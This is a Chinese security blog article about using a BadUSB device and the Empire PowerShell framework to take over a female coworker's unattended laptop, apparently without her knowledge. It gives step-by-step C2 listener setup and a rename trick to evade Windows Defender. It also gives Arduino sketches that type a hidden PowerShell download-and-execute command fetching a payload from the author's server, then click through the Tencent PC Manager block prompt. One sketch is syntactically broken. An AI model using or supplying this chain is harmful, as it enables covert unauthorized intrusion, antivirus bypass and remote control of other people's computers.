BadUSB轻松绕过防护拿下小姐姐的电脑

阅读量437602

|评论30

|

发布时间 : 2019-07-29 10:30:48

 

前言

我是掌控安全学院的魔术手,最近公司其他部门招了很多小姐姐,基本都没啥安全意识,电脑离开公司也不关的那种,某一天脑子一抽想着怎么能快速拿下对方的电脑(电脑不关直接创建用户没意思),寻思怎么快速上一个木马,通过msf等生成免杀马感觉没啥意思,还要忽悠人家,影响我形象,于是就想到用一些手边的硬件来实现。

手上有一个badusb和raspberry zero w。其中raspberry zero用的是P4wn1_alpha,以前用过,如果目标是台式机或者一体机效果不错。但是小姐姐用的是笔记本,感觉还是badusb靠普一点。

虽然过程很坎坷,也遇到了 腾讯安全管家 防护,但是结果达到了,badusb插上去后全成没有操作键盘鼠标, 腾讯安全管家 的允许访问为自动点击,结果如视频:

视频传送门

接下来的文章将按照我的思路进行,包括其中出现的问题以及我的解决方案。

 

过程

我的思路是用Empire生成一个powershell,然后通过badusb写入目标电脑,整个计划分为三步:安装Empire,烧录badusb和模拟测试,每一步都或多或少出了点问题,我会尽可能的把我遇到的问题和解决方案写出来,内容过细,大佬勿烦。

 

安装Empire

Empire是一款针对于Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架,具有很多功能,参考链接如下:http://www.powershellempire.com。虽然感觉一年多没更新了,但是还是很好用。需要注意的是,Empire运行在linux平台,我是部署在某云的ubuntu上。 Empire下载地址为:

https://github.com/EmpireProject/Empire。

直接在linux终端输入git clone https://github.com/EmpireProject/Empire,等待一会就可以在系统中看到Empire文件夹。然后进入Empire文件夹内的setup文件夹,运行install.sh进行安装这里需要注意的是,在执行最后一个指令后可能需要你输入当前系统的root密码。整个过程指令分别是:cd Empire,cd setup,sudo ./install.sh。

理论上等待片刻就可以安装成功,接下来只需在Empire文件夹内运行sudo ./empire即可,但是安装失败,我又换了几个平台,都是安装失败,我看了他的报错信息,都是缺少某些模块,猜测可能是源的问题,但是我的解决方案比较粗暴,哪个模块缺了就装哪个。

本来想写个脚本一劳永逸的,但是我在多个平台做了测试,发现安装方式基本都不一样,所以这里只能放出思路了,有需要的朋友可以挨个测试。sudo apt install 模块名、sudo apt install python-模块名,pip install 模块名和sudo python -m pip install 模块名。下面是我安装时候缺少的模块,以供参考:

flask openssl iptools netifaces pydispatch pydispatch zlib_wrapper m2crypto macholib xlrd xlutils crypto crypto dropbox pyminifier

在一切就绪后,在Empire目录下执行sudo ./empire 运行,输入help可以查看帮助文档。

首先设置一个http监听,输入listeners,输入uselistener http,输入info查看相关参数,这里我们需要设置的是Host,Name和Port。

如图,Host需要设置为接受信息的ip,我这里设置的是我linux服务器的公网ip,默认端口是80,因为这是我的linux服务器,80端口被占用,所以要修改为其他的,这里设置为81。命令如下:set Name test1,set Host http://xxx.xxx.xxx.xxx:81,set Port 81 设置完成后,输入info确定无误,输入execute启动该监听

接着输入back返回,输入list可以查看当前的监听,接下来test1就将作为我们的监听,用来和我们的木马交流。

监听设置完成后,我们来生成一个powershell脚本。理论上只要输入launcher powershell test1就可以了,但是在实际测试的时候发现将生成的powershell复制到目标机器,无反应。 思考一段时间感觉可能是设置的原因,这条指令比较简洁,但是省略了某些设置,于是我去看了这个模块的设置参数。输入usestager multi/launcher,接着输入info查看详细信息,发现有一个选项名为SafeChecks,根据描述判断它是一种检测运行环境是否合适。

解决方案是使用set SafeChecks False将它设置为False即可。

接下来还需要设置用于接收的监听器,set Listener test1,之后直接输入execute执行即可。

如图会生成一串powershell指令,我们只需想办法让对方的电脑执行这串指令就行了。但是我在测试的时候,发现监听有反应,但是无法连接,多方搜索之后发现一篇文章:https://www.mike-gualtieri.com/posts/modifying-empire-to-evade-windows-defender。 大意就是因为Windows检测到了我们脚本里的Invoke-Empire,所以拦截,解决方案就是修改这个名字就可以了。修改 Empire/data/agent/stagers/http.ps1 和 Empire / data /agent/agent.ps1 文件,将Invoke-Empire随便改一个名字。这里我使用的是nano编辑器,这个编辑器对小白比较友好nano Empire/data/agent/stagers/http.ps1,找到后修改另一处即可。

配置完成后,重新生成一个powershell文件,开一个win10的虚拟机测试,返回结果如下表示成功:

输入agents可以看到现在有一个名为M7485HB6的主机上线,当然也可以使用rename 旧名字 新名字进行冲命名。接着输入interact M7485HB6便可连接该主机。

现在木马创建成功,接下来就是用badusb导入就行了。

 

调试badusb

badusb就是一种可以模仿成键盘输入指令的usb设备,我用的badusb是个在某宝上买的非常类似U盘的那种,这里为了避免广告嫌疑就不放图了。要调试arduino需要先在他的官网下载IDE,地址如下:https://www.arduino.cc/download_handler.php?f=/arduino-1.8.9-windows.exe。 下载安装完成之后将arduino插入电脑,win10会自己安装驱动,其他版本需要手动安装驱动,驱动文件在该软件的安装目录的drivers文件夹内(装驱动只是为了烧录,与功能的实现无关),然后需要在工具>开发板处选择leonarodo。

接下来我将结合一个简单的实例讲讲他的基本语法,也可以参考官方文档:https://www.arduino.cc/reference/en/language/functions/usb/keyboard/。

#include<Keyboard.h> //键盘库头文件,必须写
void setup()
{
      Keyboard.begin();  //开始键盘通信,和最后的end是一对,必须写
      delay(1000);      //延时 1000ms
      delay(500);
      Keyboard.press(KEY_LEFT_GUI); //按下左边的windows键
      delay(500); 
      Keyboard.press('r');   //按下字母 r
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);//松开左边的windows键
      Keyboard.release('r');
      delay(500); 
      Keyboard.println("echo first test");  //模仿键盘输入echo first test
      Keyboard.press(KEY_RETURN); 
      Keyboard.release(KEY_RETURN); 
      Keyboard.end();
}
void loop() {}

大致语法如上图所示,这段代码效果就是打开运行窗口,输入echo first test

注意 ,Keyboard.begin()和Keyboard.end()是一对,必须一个在开头一个在结尾,否则容易出错;Keyboard.press()和Keyboard.release();一个表示按下,一个表示松开,之间最好写一个延迟,里面的内容可以参考官方文档:

https://www.arduino.cc/reference/en/language/functions/usb/keyboard/keyboardmodifiers。

这时候我们只需要对上述命令进行修改就可以达到我们的目的,但是我在实际操作时候遇到两个问题:1.生成的powershell太长,我的badusb内存不够;2.windows10默认设置拒绝任何powershell脚本执行。这两种方法其实都好解决,我这里采取了一种简单的方法,就是通过下面的这条指令从我的服务器上下载脚本然后执行,成功解决了上述烦恼。powershell  -WindowStyle Hidden -NoLogo  IEX (New-Object Net.WebClient).DownloadString(‘http://xxx.xxx.xxx.xxx/badusb/test.txt’); 。我将Empire生成的powershell脚本保存为test.txt,放到我的服务器上,然后通过先下载在运行的方式成功解决上述困扰。

修改后的badusb代码如下

#include <Keyboard.h> 
void setup()
{
  Keyboard.begin();
  Keyboard.begin();
  delay(1000);
  delay(500);
  Keyboard.press(KEY_LEFT_GUI); 
  delay(500); 
  Keyboard.press('r');
  delay(500); 
  Keyboard.releaseAll();
  Keyboard.println(powershell  -WindowStyle Hidden -NoLogo  IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/badusb/test.txt'););
  delay(500); 
  Keyboard.press(KEY_RETURN);
  delay(500); 
  Keyboard.release(KEY_RETURN);
}
  Keyboard.end();
}

然后在工具>端口处选择正确的端口,随后点击导航栏上的小箭头即可烧录到badusb上,成功后会有提示。

 

测试+修改

我在我的笔记本上测试成功之后,忽然发现小姐姐的电脑上装了 腾讯安全管家 ,于是我也在我的本子上装了 腾讯安全管家 ,插入badusb后结果被拦截了。

根据拦截提示发现是因为有了下载所以被拦截,看似无解其实解决方案很简单,badusb除了可以模仿键盘之外还可以模仿鼠标,只要定位到允许点击就行了,参考官方文档:https://www.arduino.cc/reference/en/language/functions/usb/mouse/。 修改得到的最终代码如下:

#include <Mouse.h>
#include <Keyboard.h> 
long basic;
long x;
long y;
String powershell;

void setup()
{
  basic=9999999; 
  x=5000000;
  y=5000000;
  powershell="powershell.exe  -WindowStyle Hidden -NoLogo  IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/badusb/test.txt');";
  
  Keyboard.begin();
  Mouse.begin();

  keyboard_gui();
  keyboard_powershell();
  mouse();

  Mouse.end();
  Keyboard.end();
}
void keyboard_gui()
{
  Keyboard.begin();
  delay(1000);
  delay(500);
  Keyboard.press(KEY_LEFT_GUI); 
  delay(500); 
  Keyboard.press('r');
  delay(500); 
  Keyboard.releaseAll();
}

void keyboard_powershell()
{
  Keyboard.println(powershell);
  delay(500); 
  Keyboard.press(KEY_RETURN);
  delay(500); 
  Keyboard.release(KEY_RETURN);
}

void mouse()
{
  delay(500);
  Mouse.move(-basic,-basic,0);
  Mouse.move(-basic,-basic,0);
  Mouse.move(-basic,-basic,0);
  Mouse.move(-basic,-basic,0);
  Mouse.move(-basic,0,0);
  Mouse.move(0,-basic,0);  
  Mouse.move(basic,basic,0);
  Mouse.move(basic,0,0);
  Mouse.move(x,y,0); 
  Mouse.click();
  delay(500);
  Mouse.click();
  delay(500);
  Mouse.click();
}


void loop() {}

注意:basic,x,y为鼠标移动的距离,具体的情况需要结合代码内的mouse()函数修改,也可以针对不同的防护软件多写几个,挨个实现;powershell为你想输入的代码,直接在这里修改即可;当然,也可以增加汉语输入法绕过,这里因为实际情况就没写。

 

总结

就像我开头的讲的,实现我的目的的方法有很多,但是每一种都会遇到各种困难,遇到困难不要轻易放弃,百度/谷歌都是很好的帮手,另外思路要活。比如powershell默认设置是Restricted(脚本不能运行),但是我们可以打开 运行 ,通过它来运行powershell脚本而不是打开powershell运行脚本,还有就是最后被拦截一样,换个思路,不一定要免杀马那么复杂的东西,运用badusb的特性一样可以绕过。

本文由掌控安全学院-魔术手原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/182820

安全客 - 有思想的安全新媒体

分享到:微信
+132赞
收藏
掌控安全学院-魔术手
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66